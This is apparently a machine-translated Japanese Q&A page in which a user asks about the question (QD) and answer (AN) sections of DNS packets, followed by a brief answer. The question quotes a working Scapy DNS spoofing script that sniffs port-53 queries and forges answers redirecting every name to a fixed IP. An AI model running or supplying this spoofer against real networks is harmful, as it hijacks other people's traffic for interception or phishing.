2017-10-26 4 views
0

私は一種の次のようになりますリソースレコードセクションの構造を知っている:何であるかをDNSパケット内の異なる種類のリソースレコードブロックの機能は何ですか?

from scapy.all import * 
def dns_spoof(pkt): 
    redirect_to = '172.16.1.63' 
    if pkt.haslayer(DNSQR): # DNS question record 
     spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ 
         UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ 
         DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ 
         an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) 
     send(spoofed_pkt) 
     print 'Sent:', spoofed_pkt.summary() 
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof) 

enter image description here

しかし、DNSスプーフィングプラグインのソースコードを読むとき、私は完全に失われていますがQDとAN RRの違い、なぜこのパケットでQDを使用する必要があるのでしょうか?

答えて

0

DNS qrは、クライアントから送信されたクエリデータとして解釈される必要があります。 ScapyはDNSQRフィールドを使用してこの構造を表します。したがって、qrセクションと他のRRフィールドを分ける方が簡単です。

関連する問題